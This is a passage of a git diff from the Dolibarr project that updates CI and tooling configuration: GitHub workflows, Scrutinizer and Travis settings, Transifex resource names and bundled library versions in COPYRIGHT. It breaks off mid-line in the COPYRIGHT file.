diff --git a/.github/workflows/code_quality.yml b/.github/workflows/code_quality.yml new file mode 100644 index 00000000000..f35dc90f0b8 --- /dev/null +++ b/.github/workflows/code_quality.yml @@ -0,0 +1,25 @@ +name: Qodana +on: + schedule: + - cron: "0 20 * * *" + workflow_dispatch: + branches: + - develop +# push: +# branches: +# - develop + +jobs: + qodana: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + with: + fetch-depth: 1 + #php-version: '7.1' + - name: 'Qodana Scan' + uses: JetBrains/qodana-action@v2022.3.4 + #with: + # php-version: '7.1' + env: + QODANA_TOKEN: ${{ secrets.QODANA_TOKEN }} \ No newline at end of file diff --git a/.github/workflows/doxygen-gh-pages.yml.disabled b/.github/workflows/doxygen-gh-pages.yml.disabled new file mode 100644 index 00000000000..33dd47aa6e6 --- /dev/null +++ b/.github/workflows/doxygen-gh-pages.yml.disabled @@ -0,0 +1,38 @@ +# See syntax file on https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions +name: Doxygen +on: + schedule: + - cron: "0 15 * * *" + workflow_dispatch: + branches: + - develop +permissions: + contents: write + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Build + uses: DenverCoder1/doxygen-github-pages-action@v1.2.0 + with: + github_token: ${{ secrets.GITHUB_TOKEN }} + branch: gh-pages + folder: build/html + config_file: build/doxygen/dolibarr-doxygen.doxyfile + +# - name: Deploy +# uses: JamesIves/github-pages-deploy-action@v4 +# with: +# branch: gh-pages +# folder: build/html # The folder the action should deploy. +# target-folder: docs/html2 + +#jobs: +# doxygen: +# runs-on: ubuntu-latest +# steps: +# - name: 'Doxygen' +# uses: mattnotmitt/doxygen-action@1.9.5 +# with: +# doxyfile-path: build/doxygen diff --git a/.github/workflows/exakat.yml b/.github/workflows/exakat.yml.disabled similarity index 93% rename from .github/workflows/exakat.yml rename to .github/workflows/exakat.yml.disabled index 528626e0308..1e9121a0e00 100644 --- a/.github/workflows/exakat.yml +++ b/.github/workflows/exakat.yml.disabled @@ -4,6 +4,9 @@ name: "Exakat analysis" on: schedule: - cron: "0 20 * * *" + workflow_dispatch: + branches: + - develop permissions: contents: read @@ -13,6 +16,8 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 + with: + fetch-depth: 1 - name: Exakat uses: docker://exakat/exakat-ga with: diff --git a/.github/workflows/stale-issues-safe.yml b/.github/workflows/stale-issues-safe.yml index 4ac9fa8f5b9..af04675d48d 100644 --- a/.github/workflows/stale-issues-safe.yml +++ b/.github/workflows/stale-issues-safe.yml @@ -6,7 +6,8 @@ on: - cron: "0 21 * * *" issue_comment: types: [created] - + workflow_dispatch: + permissions: {} # none jobs: diff --git a/.gitignore b/.gitignore index e935ec1bd59..3315a7eed88 100644 --- a/.gitignore +++ b/.gitignore @@ -14,11 +14,11 @@ default.properties /.pydevproject /.vscode .DS_Store -.idea *.iml *.orig Thumbs.db /dolibarr_genesis.mp4 +.phpunit.result.cache # Log files dolibarr_install.log upgrade.log @@ -57,3 +57,4 @@ yarn.lock package-lock.json doc/install.lock +/.asciidoctorconfig.adoc diff --git a/.idea/php.xml b/.idea/php.xml new file mode 100644 index 00000000000..74fc8003a4b --- /dev/null +++ b/.idea/php.xml @@ -0,0 +1,5 @@ + + + + + diff --git a/.scrutinizer.yml b/.scrutinizer.yml index c1cb2e853f1..058a0ba8b48 100644 --- a/.scrutinizer.yml +++ b/.scrutinizer.yml @@ -8,21 +8,24 @@ build: override: - command: php-scrutinizer-run idle_timeout: 8000 + #- php-scrutinizer-run --sub-project-dir=htdocs/admin imports: - - javascript - php filter: excluded_paths: - - build/* - - dev/* - - doc/* - - documents/* - - node_modules/* - - test/* - dependency_paths: - - htdocs/includes/* + - build/ + - dev/ + - doc/ + - documents/ + - node_modules/ + - test/ + - htdocs/custom/ + - htdocs/includes/ + - htdocs/install/doctemplates/ + #dependency_paths: + # - htdocs/includes/ paths: - htdocs/* - scripts/* @@ -33,21 +36,23 @@ tools: enabled: true extensions: - php - dependency_paths: - - htdocs/includes/ + #dependency_paths: + # - htdocs/includes/ filter: excluded_paths: - - build/* - - dev/* - - doc/* - - documents/* - - htdocs/includes/* + - build/ + - dev/ + - doc/ + - documents/ + - htdocs/custom/ + - htdocs/includes/ + - htdocs/install/doctemplates/ - htdocs/core/class/lessc.class.php - - node_modules/* - - test/* + - node_modules/ + - test/ paths: - - htdocs/ - - scripts/ + - htdocs/* + - scripts/* config: parameter_reference_check: enabled: true @@ -156,73 +161,73 @@ tools: # To use specific config for a specific path, use path_configs: (see example on page https://scrutinizer-ci.com/docs/configuration/tool_config_structure) # php_depend - php_pdepend: - enabled: false - configuration_file: null - suffixes: - - php - excluded_dirs: { } - filter: - excluded_paths: - - 'build/*' - - 'dev/*' - - 'doc/*' - - 'test/*' - - 'htdocs/includes/*' - paths: { } + #php_pdepend: + # enabled: false + # configuration_file: null + # suffixes: + # - php + # excluded_dirs: { } + # filter: + # excluded_paths: + # - 'build/*' + # - 'dev/*' + # - 'doc/*' + # - 'test/*' + # - 'htdocs/includes/*' + # paths: { } # change tracking - php_changetracking: - enabled: false - bug_patterns: - - '\bfix(?:es|ed)?\b' - feature_patterns: - - '\badd(?:s|ed)?\b' - - '\bimplement(?:s|ed)?\b' - filter: - excluded_paths: - - 'build/*' - - 'dev/*' - - 'doc/*' - - 'documents/*' - - 'htdocs/includes/*' - - 'node_modules/*' - - 'test/*' - paths: { } + #php_changetracking: + # enabled: false + # bug_patterns: + # - '\bfix(?:es|ed)?\b' + # feature_patterns: + # - '\badd(?:s|ed)?\b' + # - '\bimplement(?:s|ed)?\b' + # filter: + # excluded_paths: + # - 'build/*' + # - 'dev/*' + # - 'doc/*' + # - 'documents/*' + # - 'htdocs/includes/*' + # - 'node_modules/*' + # - 'test/*' + # paths: { } # Similar code detection - php_sim: - enabled: false - min_mass: 30 - filter: - excluded_paths: - - 'build/*' - - 'dev/*' - - 'doc/*' - - 'documents/*' - - 'htdocs/includes/*' - - 'node_modules/*' - - 'test/*' - paths: { } + #php_sim: + # enabled: false + # min_mass: 30 + # filter: + # excluded_paths: + # - 'build/*' + # - 'dev/*' + # - 'doc/*' + # - 'documents/*' + # - 'htdocs/includes/*' + # - 'node_modules/*' + # - 'test/*' + # paths: { } # Coding-Style / Bug Detection - js_hint: - enabled: false - use_native_config: true - extensions: - - js - filter: - excluded_paths: - - 'build/*' - - 'dev/*' - - 'doc/*' - - 'documents/*' - - 'htdocs/includes/*' - - 'node_modules/*' - - 'test/*' - paths: { } - config: { } - path_configs: { } + #js_hint: + # enabled: false + # use_native_config: true + # extensions: + # - js + # filter: + # excluded_paths: + # - 'build/*' + # - 'dev/*' + # - 'doc/*' + # - 'documents/*' + # - 'htdocs/includes/*' + # - 'node_modules/*' + # - 'test/*' + # paths: { } + # config: { } + # path_configs: { } before_commands: { } diff --git a/.travis.yml b/.travis.yml index 6422e33a7e9..1f4fc328a49 100644 --- a/.travis.yml +++ b/.travis.yml @@ -72,10 +72,6 @@ jobs: if: type = pull_request OR type = push php: '8.1' env: DB=mysql - - stage: PHP Dev - if: type = push AND branch = develop - php: nightly - env: DB=mysql - stage: PHP Dev if: type = push AND branch = 17.0 php: nightly @@ -95,19 +91,20 @@ notifications: install: - | - echo "Updating Composer" - rm $TRAVIS_BUILD_DIR/composer.json - rm $TRAVIS_BUILD_DIR/composer.lock + echo "Updating Composer config" composer -V - composer self-update - composer -n init - composer -n config vendor-dir htdocs/includes + #rm $TRAVIS_BUILD_DIR/composer.json + #rm $TRAVIS_BUILD_DIR/composer.lock + #composer -n init + #composer -n config vendor-dir htdocs/includes composer -n config -g vendor-dir htdocs/includes echo - | - echo "Installing Composer dependencies - PHP Unit, Parallel Lint, PHP CodeSniffer, PHP Vardump check - for $TRAVIS_PHP_VERSION" + echo "Update Composer version and Install tools - PHP Unit, Parallel Lint, PHP CodeSniffer, PHP Vardump check - for $TRAVIS_PHP_VERSION" + echo "(version 2.5 is bugged and generate phpunit error Exception: Serialization of 'Closure' is not allowed)" if [ "$TRAVIS_PHP_VERSION" = '7.0' ] || [ "$TRAVIS_PHP_VERSION" = '7.1' ] || [ "$TRAVIS_PHP_VERSION" = '7.2' ]; then + composer self-update 2.2.18 composer -n require phpunit/phpunit ^6 \ php-parallel-lint/php-parallel-lint ^1 \ php-parallel-lint/php-console-highlighter ^0 \ @@ -115,6 +112,7 @@ install: squizlabs/php_codesniffer ^3 fi if [ "$TRAVIS_PHP_VERSION" = '7.3' ] || [ "$TRAVIS_PHP_VERSION" = '7.4' ]; then + composer self-update 2.2.18 composer -n require phpunit/phpunit ^7 \ php-parallel-lint/php-parallel-lint ^1.2 \ php-parallel-lint/php-console-highlighter ^0 \ @@ -123,12 +121,15 @@ install: fi # phpunit 9 is required for php 8 if [ "$TRAVIS_PHP_VERSION" = '8.0' ] || [ "$TRAVIS_PHP_VERSION" = '8.1' ] || [ "$TRAVIS_PHP_VERSION" = 'nightly' ]; then + composer self-update 2.4.4 composer -n require --ignore-platform-reqs phpunit/phpunit ^8 \ php-parallel-lint/php-parallel-lint ^1.2 \ php-parallel-lint/php-console-highlighter ^0 \ php-parallel-lint/php-var-dump-check ~0.4 \ squizlabs/php_codesniffer ^3 fi + # Remove non expected files + rm -fr /home/travis/build/Dolibarr/dolibarr/htdocs/includes/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js echo - | @@ -450,6 +451,9 @@ script: php upgrade.php 16.0.0 17.0.0 ignoredbversion > $TRAVIS_BUILD_DIR/upgrade16001700.log php upgrade2.php 16.0.0 17.0.0 > $TRAVIS_BUILD_DIR/upgrade16001700-2.log php step5.php 16.0.0 17.0.0 > $TRAVIS_BUILD_DIR/upgrade16001700-3.log + php upgrade.php 17.0.0 18.0.0 ignoredbversion > $TRAVIS_BUILD_DIR/upgrade17001800.log + php upgrade2.php 17.0.0 18.0.0 > $TRAVIS_BUILD_DIR/upgrade17001800-2.log + php step5.php 17.0.0 18.0.0 > $TRAVIS_BUILD_DIR/upgrade17001800-3.log ls -alrt $TRAVIS_BUILD_DIR/ - | @@ -469,7 +473,7 @@ script: - | echo "Unit testing" - # Ensure we catch errors. Set this to +e if you want to go to the end to see dolibarr.log file. + # Ensure we catch errors. Set this to +e instead of -e if you want to go to the end to see dolibarr.log file. set -e phpunit -d memory_limit=-1 -c test/phpunit/phpunittest.xml test/phpunit/AllTests.php phpunitresult=$? @@ -497,7 +501,7 @@ after_failure: # Show upgrade log files for ficlog in `ls $TRAVIS_BUILD_DIR/*.log` do - echo "Debugging informations for file $ficlog" + #echo "Debugging informations for file $ficlog" #cat $ficlog done # Show Apache log file diff --git a/.tx/config b/.tx/config index 494ba41613d..59bad9a52be 100644 --- a/.tx/config +++ b/.tx/config @@ -1,442 +1,442 @@ [main] -host = https://www.transifex.com +host = https://www.transifex.com lang_map = uz: uz_UZ, sw: sw_SW, sr@latin: sr_RS -[dolibarr.accountancy] +[o:dolibarr-association:p:dolibarr:r:accountancy] file_filter = htdocs/langs//accountancy.lang source_file = htdocs/langs/en_US/accountancy.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.admin] +[o:dolibarr-association:p:dolibarr:r:admin] file_filter = htdocs/langs//admin.lang source_file = htdocs/langs/en_US/admin.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.agenda] +[o:dolibarr-association:p:dolibarr:r:agenda] file_filter = htdocs/langs//agenda.lang source_file = htdocs/langs/en_US/agenda.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.assets] +[o:dolibarr-association:p:dolibarr:r:assets] file_filter = htdocs/langs//assets.lang source_file = htdocs/langs/en_US/assets.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.banks] +[o:dolibarr-association:p:dolibarr:r:banks] file_filter = htdocs/langs//banks.lang source_file = htdocs/langs/en_US/banks.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.bills] +[o:dolibarr-association:p:dolibarr:r:bills] file_filter = htdocs/langs//bills.lang source_file = htdocs/langs/en_US/bills.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.blockedlog] +[o:dolibarr-association:p:dolibarr:r:blockedlog] file_filter = htdocs/langs//blockedlog.lang source_file = htdocs/langs/en_US/blockedlog.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.bookmarks] +[o:dolibarr-association:p:dolibarr:r:bookmarks] file_filter = htdocs/langs//bookmarks.lang source_file = htdocs/langs/en_US/bookmarks.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.boxes] +[o:dolibarr-association:p:dolibarr:r:boxes] file_filter = htdocs/langs//boxes.lang source_file = htdocs/langs/en_US/boxes.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.cashdesk] +[o:dolibarr-association:p:dolibarr:r:cashdesk] file_filter = htdocs/langs//cashdesk.lang source_file = htdocs/langs/en_US/cashdesk.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.categories] +[o:dolibarr-association:p:dolibarr:r:categories] file_filter = htdocs/langs//categories.lang source_file = htdocs/langs/en_US/categories.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.commercial] +[o:dolibarr-association:p:dolibarr:r:commercial] file_filter = htdocs/langs//commercial.lang source_file = htdocs/langs/en_US/commercial.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.companies] +[o:dolibarr-association:p:dolibarr:r:companies] file_filter = htdocs/langs//companies.lang source_file = htdocs/langs/en_US/companies.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.compta] +[o:dolibarr-association:p:dolibarr:r:compta] file_filter = htdocs/langs//compta.lang source_file = htdocs/langs/en_US/compta.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.contracts] +[o:dolibarr-association:p:dolibarr:r:contracts] file_filter = htdocs/langs//contracts.lang source_file = htdocs/langs/en_US/contracts.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.cron] +[o:dolibarr-association:p:dolibarr:r:cron] file_filter = htdocs/langs//cron.lang source_file = htdocs/langs/en_US/cron.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.datapolicy] +[o:dolibarr-association:p:dolibarr:r:datapolicy] file_filter = htdocs/langs//datapolicy.lang source_file = htdocs/langs/en_US/datapolicy.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.deliveries] +[o:dolibarr-association:p:dolibarr:r:deliveries] file_filter = htdocs/langs//deliveries.lang source_file = htdocs/langs/en_US/deliveries.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.dict] +[o:dolibarr-association:p:dolibarr:r:dict] file_filter = htdocs/langs//dict.lang source_file = htdocs/langs/en_US/dict.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.donations] +[o:dolibarr-association:p:dolibarr:r:donations] file_filter = htdocs/langs//donations.lang source_file = htdocs/langs/en_US/donations.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.ecm] +[o:dolibarr-association:p:dolibarr:r:ecm] file_filter = htdocs/langs//ecm.lang source_file = htdocs/langs/en_US/ecm.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.errors] +[o:dolibarr-association:p:dolibarr:r:errors] file_filter = htdocs/langs//errors.lang source_file = htdocs/langs/en_US/errors.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.eventorganization] +[o:dolibarr-association:p:dolibarr:r:eventorganization] file_filter = htdocs/langs//eventorganization.lang source_file = htdocs/langs/en_US/eventorganization.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.exports] +[o:dolibarr-association:p:dolibarr:r:exports] file_filter = htdocs/langs//exports.lang source_file = htdocs/langs/en_US/exports.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.help] +[o:dolibarr-association:p:dolibarr:r:help] file_filter = htdocs/langs//help.lang source_file = htdocs/langs/en_US/help.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.holiday] +[o:dolibarr-association:p:dolibarr:r:holiday] file_filter = htdocs/langs//holiday.lang source_file = htdocs/langs/en_US/holiday.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.hrm] +[o:dolibarr-association:p:dolibarr:r:hrm] file_filter = htdocs/langs//hrm.lang source_file = htdocs/langs/en_US/hrm.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.install] +[o:dolibarr-association:p:dolibarr:r:install] file_filter = htdocs/langs//install.lang source_file = htdocs/langs/en_US/install.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.interventions] +[o:dolibarr-association:p:dolibarr:r:interventions] file_filter = htdocs/langs//interventions.lang source_file = htdocs/langs/en_US/interventions.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.intracommreport] +[o:dolibarr-association:p:dolibarr:r:intracommreport] file_filter = htdocs/langs//intracommreport.lang source_file = htdocs/langs/en_US/intracommreport.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.knowledgemanagement] +[o:dolibarr-association:p:dolibarr:r:knowledgemanagement] file_filter = htdocs/langs//knowledgemanagement.lang source_file = htdocs/langs/en_US/knowledgemanagement.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.languages-not-res] +[o:dolibarr-association:p:dolibarr:r:languages-not-res] file_filter = htdocs/langs//languages.lang source_file = htdocs/langs/en_US/languages.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.ldap] +[o:dolibarr-association:p:dolibarr:r:ldap] file_filter = htdocs/langs//ldap.lang source_file = htdocs/langs/en_US/ldap.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.link] +[o:dolibarr-association:p:dolibarr:r:link] file_filter = htdocs/langs//link.lang source_file = htdocs/langs/en_US/link.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.loan] +[o:dolibarr-association:p:dolibarr:r:loan] file_filter = htdocs/langs//loan.lang source_file = htdocs/langs/en_US/loan.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.mailmanspip] +[o:dolibarr-association:p:dolibarr:r:mailmanspip] file_filter = htdocs/langs//mailmanspip.lang source_file = htdocs/langs/en_US/mailmanspip.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.mails] +[o:dolibarr-association:p:dolibarr:r:mails] file_filter = htdocs/langs//mails.lang source_file = htdocs/langs/en_US/mails.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.main] +[o:dolibarr-association:p:dolibarr:r:main] file_filter = htdocs/langs//main.lang source_file = htdocs/langs/en_US/main.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.margins] +[o:dolibarr-association:p:dolibarr:r:margins] file_filter = htdocs/langs//margins.lang source_file = htdocs/langs/en_US/margins.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.members] +[o:dolibarr-association:p:dolibarr:r:members] file_filter = htdocs/langs//members.lang source_file = htdocs/langs/en_US/members.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.modulebuilder] +[o:dolibarr-association:p:dolibarr:r:modulebuilder] file_filter = htdocs/langs//modulebuilder.lang source_file = htdocs/langs/en_US/modulebuilder.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.mrp] +[o:dolibarr-association:p:dolibarr:r:mrp] file_filter = htdocs/langs//mrp.lang source_file = htdocs/langs/en_US/mrp.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.multicurrency] +[o:dolibarr-association:p:dolibarr:r:multicurrency] file_filter = htdocs/langs//multicurrency.lang source_file = htdocs/langs/en_US/multicurrency.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.oauth] +[o:dolibarr-association:p:dolibarr:r:oauth] file_filter = htdocs/langs//oauth.lang source_file = htdocs/langs/en_US/oauth.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.opensurvey] +[o:dolibarr-association:p:dolibarr:r:opensurvey] file_filter = htdocs/langs//opensurvey.lang source_file = htdocs/langs/en_US/opensurvey.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.orders] +[o:dolibarr-association:p:dolibarr:r:orders] file_filter = htdocs/langs//orders.lang source_file = htdocs/langs/en_US/orders.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.other] +[o:dolibarr-association:p:dolibarr:r:other] file_filter = htdocs/langs//other.lang source_file = htdocs/langs/en_US/other.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.partnership] +[o:dolibarr-association:p:dolibarr:r:partnership] file_filter = htdocs/langs//partnership.lang source_file = htdocs/langs/en_US/partnership.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.paybox] +[o:dolibarr-association:p:dolibarr:r:paybox] file_filter = htdocs/langs//paybox.lang source_file = htdocs/langs/en_US/paybox.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.paypal] +[o:dolibarr-association:p:dolibarr:r:paypal] file_filter = htdocs/langs//paypal.lang source_file = htdocs/langs/en_US/paypal.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.printing] +[o:dolibarr-association:p:dolibarr:r:printing] file_filter = htdocs/langs//printing.lang source_file = htdocs/langs/en_US/printing.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.productbatch] +[o:dolibarr-association:p:dolibarr:r:productbatch] file_filter = htdocs/langs//productbatch.lang source_file = htdocs/langs/en_US/productbatch.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.products] +[o:dolibarr-association:p:dolibarr:r:products] file_filter = htdocs/langs//products.lang source_file = htdocs/langs/en_US/products.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.projects] +[o:dolibarr-association:p:dolibarr:r:projects] file_filter = htdocs/langs//projects.lang source_file = htdocs/langs/en_US/projects.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.propal] +[o:dolibarr-association:p:dolibarr:r:propal] file_filter = htdocs/langs//propal.lang source_file = htdocs/langs/en_US/propal.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.receiptprinter] +[o:dolibarr-association:p:dolibarr:r:receiptprinter] file_filter = htdocs/langs//receiptprinter.lang source_file = htdocs/langs/en_US/receiptprinter.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.receptions] +[o:dolibarr-association:p:dolibarr:r:receptions] file_filter = htdocs/langs//receptions.lang source_file = htdocs/langs/en_US/receptions.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.recruitment] +[o:dolibarr-association:p:dolibarr:r:recruitment] file_filter = htdocs/langs//recruitment.lang source_file = htdocs/langs/en_US/recruitment.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.resource] +[o:dolibarr-association:p:dolibarr:r:resource] file_filter = htdocs/langs//resource.lang source_file = htdocs/langs/en_US/resource.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.salaries] +[o:dolibarr-association:p:dolibarr:r:salaries] file_filter = htdocs/langs//salaries.lang source_file = htdocs/langs/en_US/salaries.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.sendings] +[o:dolibarr-association:p:dolibarr:r:sendings] file_filter = htdocs/langs//sendings.lang source_file = htdocs/langs/en_US/sendings.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.sms] +[o:dolibarr-association:p:dolibarr:r:sms] file_filter = htdocs/langs//sms.lang source_file = htdocs/langs/en_US/sms.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.stocks] +[o:dolibarr-association:p:dolibarr:r:stocks] file_filter = htdocs/langs//stocks.lang source_file = htdocs/langs/en_US/stocks.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.stripe] +[o:dolibarr-association:p:dolibarr:r:stripe] file_filter = htdocs/langs//stripe.lang source_file = htdocs/langs/en_US/stripe.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.supplier_proposal] +[o:dolibarr-association:p:dolibarr:r:supplier_proposal] file_filter = htdocs/langs//supplier_proposal.lang source_file = htdocs/langs/en_US/supplier_proposal.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.suppliers] +[o:dolibarr-association:p:dolibarr:r:suppliers] file_filter = htdocs/langs//suppliers.lang source_file = htdocs/langs/en_US/suppliers.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.ticket] +[o:dolibarr-association:p:dolibarr:r:ticket] file_filter = htdocs/langs//ticket.lang source_file = htdocs/langs/en_US/ticket.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.trips] +[o:dolibarr-association:p:dolibarr:r:trips] file_filter = htdocs/langs//trips.lang source_file = htdocs/langs/en_US/trips.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.users] +[o:dolibarr-association:p:dolibarr:r:users] file_filter = htdocs/langs//users.lang source_file = htdocs/langs/en_US/users.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.website] +[o:dolibarr-association:p:dolibarr:r:website] file_filter = htdocs/langs//website.lang source_file = htdocs/langs/en_US/website.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.withdrawals] +[o:dolibarr-association:p:dolibarr:r:withdrawals] file_filter = htdocs/langs//withdrawals.lang source_file = htdocs/langs/en_US/withdrawals.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.workflow] +[o:dolibarr-association:p:dolibarr:r:workflow] file_filter = htdocs/langs//workflow.lang source_file = htdocs/langs/en_US/workflow.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES -[dolibarr.zapier] +[o:dolibarr-association:p:dolibarr:r:zapier] file_filter = htdocs/langs//zapier.lang source_file = htdocs/langs/en_US/zapier.lang source_lang = en_US -type = MOZILLAPROPERTIES +type = MOZILLAPROPERTIES diff --git a/COPYRIGHT b/COPYRIGHT index d980219c420..93f4a43fee1 100644 --- a/COPYRIGHT +++ b/COPYRIGHT @@ -26,14 +26,14 @@ PHP libraries: EvalMath 1.0 BSD Yes Safe math expressions evaluation Escpos-php 2.2 MIT License Yes Thermal receipt printer library, for use with ESC/POS compatible printers GeoIP2 0.2.0 Apache License 2.0 Yes Lib to make geoip convert -Mobiledetect 2.8.39 MIT License Yes Detect mobile devices browsers +Mobiledetect 2.8.41 MIT License Yes Detect mobile devices browsers NuSoap 0.9.5 LGPL 2.1+ Yes Library to develop SOAP Web services (not into rpm and deb package) PEAR Mail_MIME 1.8.9 BSD Yes NuSoap dependency ParseDown 1.6 MIT License Yes Markdown parser PCLZip 2.8.4 LGPL-3+ Yes Library to zip/unzip files -PHPDebugBar 1.15.1 MIT License Yes Used only by the module "debugbar" for developers +PHPDebugBar 1.18.2 MIT License Yes Used only by the module "debugbar" for developers PHP-Imap 2.7.2 MIT License Yes Library to use IMAP with OAuth -PHPSpreadSheet 1.8.2 LGPL-2.1+ Yes Read/Write XLS files, read ODS files +PHPSpreadSheet 1.12.0 LGPL-2.1+ Yes Read/Write XLS files, read ODS files php-iban 4.1.1 LGPL-3+ Yes Parse and validate IBAN (and IIBAN) bank account information in PHP PHPoAuthLib 0.8.2 MIT License Yes Library to provide oauth1 and oauth2 to different service PHPPrintIPP 1.3 GPL-2+ Yes Library to send print IPP requests @@ -51,7 +51,7 @@ JS libraries: Ace 1.4.14 BSD Yes JS library to get code syntaxique coloration in a textarea. ChartJS 3.7.1 MIT License Yes JS library 